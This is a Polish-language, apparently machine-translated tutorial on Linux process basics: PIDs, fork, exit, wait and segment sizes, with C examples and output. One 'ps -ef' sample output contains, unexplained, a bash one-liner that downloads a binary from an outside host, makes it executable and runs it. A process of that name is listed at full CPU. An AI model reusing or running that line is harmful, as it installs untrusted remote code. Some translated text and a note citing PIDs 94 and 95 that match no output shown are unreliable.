Komunikacja między procesami - krótki przewodnik
Komunikacja międzyprocesowa (IPC) to mechanizm, który obejmuje komunikację jednego procesu z innym procesem. Zwykle ma to miejsce tylko w jednym systemie.
Komunikacja może być dwojakiego rodzaju -
Pomiędzy powiązanymi procesami inicjowanymi tylko z jednego procesu, na przykład procesu nadrzędnego i podrzędnego.
Pomiędzy niepowiązanymi procesami lub dwoma lub więcej różnymi procesami.
Poniżej znajduje się kilka ważnych terminów, które musimy znać, zanim przejdziemy dalej do tego tematu.
Pipes- Komunikacja między dwoma powiązanymi procesami. Mechanizm jest półdupleksowy, co oznacza, że pierwszy proces komunikuje się z drugim procesem. Aby osiągnąć pełny dupleks, tj. Drugi proces komunikuje się z pierwszym procesem, wymagany jest inny potok.
FIFO- Komunikacja między dwoma niepowiązanymi procesami. FIFO to pełny dupleks, co oznacza, że pierwszy proces może komunikować się z drugim procesem i odwrotnie w tym samym czasie.
Message Queues- Komunikacja między dwoma lub więcej procesami z pełnym dupleksem. Procesy będą się ze sobą komunikować, wysyłając wiadomość i pobierając ją z kolejki. Po pobraniu wiadomość nie jest już dostępna w kolejce.
Shared Memory- Komunikację między dwoma lub więcej procesami uzyskuje się poprzez część pamięci współdzieloną przez wszystkie procesy. Pamięć współdzielona musi być chroniona przed sobą poprzez synchronizację dostępu do wszystkich procesów.
Semaphores- Semafory służą do synchronizacji dostępu do wielu procesów. Kiedy jeden proces chce uzyskać dostęp do pamięci (do odczytu lub zapisu), musi zostać zablokowana (lub chroniona) i zwolniona, gdy dostęp zostanie usunięty. Należy to powtórzyć we wszystkich procesach w celu zabezpieczenia danych.
Signals- Sygnał jest mechanizmem komunikacji między wieloma procesami za pomocą sygnalizacji. Oznacza to, że proces źródłowy wyśle sygnał (rozpoznawany przez numer), a proces docelowy odpowiednio go obsłuży.
Note - Prawie wszystkie programy w tym samouczku są oparte na wywołaniach systemowych w systemie operacyjnym Linux (wykonywanych w systemie Ubuntu).
Zanim przejdziemy do informacji procesowych, musimy wiedzieć kilka rzeczy, takich jak -
Co to jest proces? Proces to program w trakcie.
Co to jest program? Program to plik zawierający informacje o procesie i sposobie jego tworzenia w czasie wykonywania. Po uruchomieniu programu jest on ładowany do pamięci RAM i zaczyna działać.
Każdy proces jest identyfikowany za pomocą unikalnej dodatniej liczby całkowitej nazywanej identyfikatorem procesu lub po prostu PID (numer identyfikacyjny procesu). Jądro zwykle ogranicza identyfikator procesu do 32767, który można konfigurować. Gdy identyfikator procesu osiągnie ten limit, jest ponownie resetowany, czyli za zakresem procesów systemowych. Nieużywane identyfikatory procesów z tego licznika są następnie przypisywane do nowo utworzonych procesów.
Wywołanie systemowe getpid () zwraca identyfikator procesu wywołującego.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
To wywołanie zwraca identyfikator procesu wywołującego, który gwarantuje unikalność. To wywołanie zawsze kończy się pomyślnie i dlatego nie zwraca żadnej wartości wskazującej na błąd.
Każdy proces ma swój unikalny identyfikator zwany identyfikatorem procesu, który jest w porządku, ale kto go utworzył? Jak zdobyć informacje o jego twórcy? Proces twórczy nazywany jest procesem nadrzędnym. Identyfikator rodzica lub PPID można uzyskać za pomocą wywołania getppid ().
Wywołanie systemowe getppid () zwraca nadrzędny PID procesu wywołującego.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
To wywołanie zwraca identyfikator procesu nadrzędnego procesu wywołującego. To wywołanie zawsze kończy się pomyślnie i dlatego nie zwraca żadnej wartości wskazującej na błąd.
Zrozummy to na prostym przykładzie.
Poniżej znajduje się program, który zna PID i PPID procesu wywołującego.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Po kompilacji i wykonaniu powyższego programu, następujące dane wyjściowe będą.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- Funkcja biblioteki „C” system () wykonuje polecenie powłoki. Argumenty przekazywane do system () to polecenia wykonywane w powłoce. W powyższym programie komendą jest „ps”, co daje status procesu.
Pełne informacje o wszystkich uruchomionych procesach i inne informacje związane z systemem są dostępne w systemie plików proc dostępnym w lokalizacji / proc.
Teraz, gdy zobaczyliśmy, jak uzyskać podstawowe informacje o procesie i jego procesie macierzystym, nadszedł czas, aby przyjrzeć się szczegółom informacji o procesie / programie.
Czym właściwie jest obraz procesu? Obraz procesu to plik wykonywalny wymagany podczas wykonywania programu. Ten obraz zwykle zawiera następujące sekcje -
- Segment kodu lub segment tekstu
- Segment danych
- Segment stosu
- Segment sterty
Poniżej znajduje się obrazowe przedstawienie obrazu procesu.
Code segmentjest częścią pliku obiektowego lub wirtualnej przestrzeni adresowej programu, która składa się z instrukcji wykonywalnych. Zwykle jest to segment danych tylko do odczytu i ma stały rozmiar.
Segment danych jest dwojakiego rodzaju.
- Initialized
- Un-initialized
Initialized data segment to część wirtualnej przestrzeni adresowej pliku obiektowego lub programu, która składa się z zainicjowanych zmiennych statycznych i globalnych.
Un-initialized data segmentjest częścią pliku obiektowego lub wirtualnej przestrzeni adresowej programu, która składa się z niezainicjowanych zmiennych statycznych i globalnych. Niezainicjalizowany segment danych jest również nazywany segmentem BSS (Block Started by Symbol).
Data segmentjest do odczytu i zapisu, ponieważ wartości zmiennych mogą być zmieniane w czasie wykonywania. Ten segment ma również stały rozmiar.
Stack segmentto obszar pamięci przydzielony dla zmiennych automatycznych i parametrów funkcji. Przechowuje również adres zwrotny podczas wykonywania wywołań funkcji. Stos używa mechanizmu LIFO (Last-In-First-Out) do przechowywania lokalnych lub automatycznych zmiennych, parametrów funkcji i przechowywania następnego adresu lub adresu zwrotnego. Adres zwrotny odnosi się do adresu do powrotu po wykonaniu funkcji. Ten rozmiar segmentu jest zmienny zgodnie ze zmiennymi lokalnymi, parametrami funkcji i wywołaniami funkcji. Ten segment rozrasta się od wyższego adresu do niższego adresu.
Heap segmentjest obszarem pamięci przeznaczonym na pamięć dynamiczną, taką jak wywołania malloc () i calloc (). Ten rozmiar segmentu jest również zmienny w zależności od przydziału użytkowników. Ten segment rozrasta się od niższego adresu do wyższego adresu.
Sprawdźmy teraz, jak różnią się rozmiary segmentów (segmentów danych i bss) w kilku przykładowych programach. Rozmiar segmentu jest znany po wykonaniu polecenia „rozmiar”.
Program początkowy
Plik: rozmiar_segmentu1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
W poniższym programie dodawana jest niezainicjowana zmienna statyczna. Oznacza to, że rozmiar niezainicjowanego segmentu (BSS) zwiększy się o 4 bajty.Note- W systemie operacyjnym Linux rozmiar int wynosi 4 bajty. Rozmiar typu danych integer zależy od kompilatora i obsługi systemu operacyjnego.
Plik: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
W poniższym programie dodawana jest zainicjowana zmienna statyczna. Oznacza to, że rozmiar zainicjowanego segmentu (DANE) zwiększy się o 4 bajty.
Plik: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
W poniższym programie dodawana jest zainicjowana zmienna globalna. Oznacza to, że rozmiar zainicjowanego segmentu (DANE) zwiększy się o 4 bajty.
Plik: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
W poniższym programie dodawana jest niezainicjowana zmienna globalna. Oznacza to, że rozmiar niezainicjowanego segmentu (BSS) zwiększy się o 4 bajty.
Plik: rozmiar_segmentu5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Kroki wykonania
Kompilacja
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Wykonanie / wyjście
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Do tej pory wiemy, że za każdym razem, gdy wykonujemy program, tworzony jest proces, który zostanie zakończony po zakończeniu wykonywania. A co, jeśli potrzebujemy stworzyć proces w programie i możemy chcieć zaplanować dla niego inne zadanie. Czy można to osiągnąć? Tak, oczywiście poprzez tworzenie procesów. Oczywiście po wykonaniu zadania zostanie ono automatycznie zakończone lub możesz je zakończyć w razie potrzeby.
Tworzenie procesu odbywa się poprzez fork() system call. Nowo utworzony proces nazywany jest procesem potomnym, a proces, który go zainicjował (lub proces rozpoczynający wykonywanie), nazywany jest procesem nadrzędnym. Po wywołaniu systemowym fork () mamy teraz dwa procesy - nadrzędny i potomny. Jak je rozróżnić? Bardzo proste, dzieje się to poprzez ich wartości zwracane.
Po utworzeniu procesu potomnego zobaczmy szczegóły wywołania systemowego fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Tworzy proces potomny. Po tym wywołaniu istnieją dwa procesy, istniejący nazywany jest procesem nadrzędnym, a nowo utworzony nazywany jest procesem potomnym.
Wywołanie systemowe fork () zwraca jedną z trzech wartości -
Wartość ujemna wskazująca na błąd, tj. Niepowodzenie w tworzeniu procesu potomnego.
Zwraca zero dla procesu potomnego.
Zwraca wartość dodatnią dla procesu nadrzędnego. Ta wartość to identyfikator procesu nowo utworzonego procesu potomnego.
Rozważmy prosty program.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Kroki wykonania
Kompilacja
gcc basicfork.c -o basicfork
Wykonanie / wyjście
Called fork() system call
Called fork() system call
Note- Zwykle po wywołaniu fork () proces potomny i proces nadrzędny wykonywałyby różne zadania. Jeśli trzeba uruchomić to samo zadanie, to dla każdego wywołania funkcji fork () uruchomi się 2 potęgi n razy, gdzien to liczba wywołań funkcji fork ().
W powyższym przypadku fork () jest wywoływana raz, stąd wynik jest drukowany dwukrotnie (2 potęga 1). Jeśli funkcja fork () zostanie wywołana, powiedzmy 3 razy, wynik zostanie wydrukowany 8 razy (2 potęgi 3). Jeśli zostanie wywołany 5 razy, wydrukuje 32 razy i tak dalej, i tak dalej.
Widząc, jak fork () tworzy proces potomny, nadszedł czas, aby zobaczyć szczegóły procesu rodzica i procesu potomnego.
Nazwa pliku: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Kroki kompilacji i wykonywania
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Proces może zakończyć się na dwa sposoby -
Nieprawidłowo występuje po dostarczeniu pewnych sygnałów, na przykład sygnału zakończenia.
Zwykle za pomocą funkcji systemowej _exit () (lub funkcji systemowej _Exit ()) lub funkcji bibliotecznej exit ().
Różnica między _exit () i exit () polega głównie na czyszczeniu. Plikexit() wykonuje pewne porządki przed zwróceniem kontroli z powrotem do jądra, podczas gdy _exit() (lub _Exit ()) natychmiast zwróci sterowanie z powrotem do jądra.
Rozważmy następujący przykładowy program z exit ().
Nazwa pliku: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Kroki kompilacji i wykonywania
Hello, World!
Called cleanup function - exitfunc()
Rozważmy następujący przykładowy program z funkcją _exit ().
Nazwa pliku: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Kroki kompilacji i wykonywania
Hello, World!
Jak widzieliśmy, ilekroć tworzymy proces potomny z programu przy użyciu fork, dzieje się co następuje -
- Bieżący proces staje się teraz procesem nadrzędnym
- Nowy proces staje się procesem potomnym
Co się stanie, jeśli proces nadrzędny zakończy swoje zadanie wcześniej niż proces potomny, a następnie zamknie się lub zakończy? Kto byłby rodzicem procesu dziecięcego? Rodzicem procesu potomnego jest proces init, który jest pierwszym procesem inicjującym wszystkie zadania.
Aby monitorować stan wykonania procesu potomnego, sprawdzić, czy proces potomny jest uruchomiony, czy zatrzymany, sprawdzić stan wykonania itp., Używane są wywołania systemowe wait () i jego warianty.
Rozważmy przykładowy program, w którym proces nadrzędny nie czeka na proces potomny, co powoduje, że proces init staje się nowym rodzicem dla procesu potomnego.
Nazwa pliku: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Kroki kompilacji i wykonywania
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Zauważ, że PID procesu nadrzędnego wynosił 94, a PID procesu potomnego - 95. Po zakończeniu procesu macierzystego, PPID procesu potomnego zmienił się z 94 na 1 (proces inicjujący).
Poniżej przedstawiono warianty wywołań systemowych do monitorowania procesów potomnych -
- wait()
- waitpid()
- waitid()
Plik wait() wywołanie systemowe będzie czekało, aż jedno z dzieci zakończy działanie i zwróci swój status zakończenia w buforze, jak wyjaśniono poniżej.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
To wywołanie zwraca identyfikator procesu zakończonego dziecka w przypadku powodzenia i -1 w przypadku niepowodzenia. Wywołanie systemowe wait () zawiesza wykonywanie bieżącego procesu i czeka w nieskończoność, aż jedno z jego elementów podrzędnych zakończy działanie. Status wypowiedzenia dziecka jest dostępny w statusie.
Zmodyfikujmy poprzedni program, tak aby proces nadrzędny czekał teraz na proces potomny.
/ * Nazwa pliku: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Kroki kompilacji i wykonywania
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
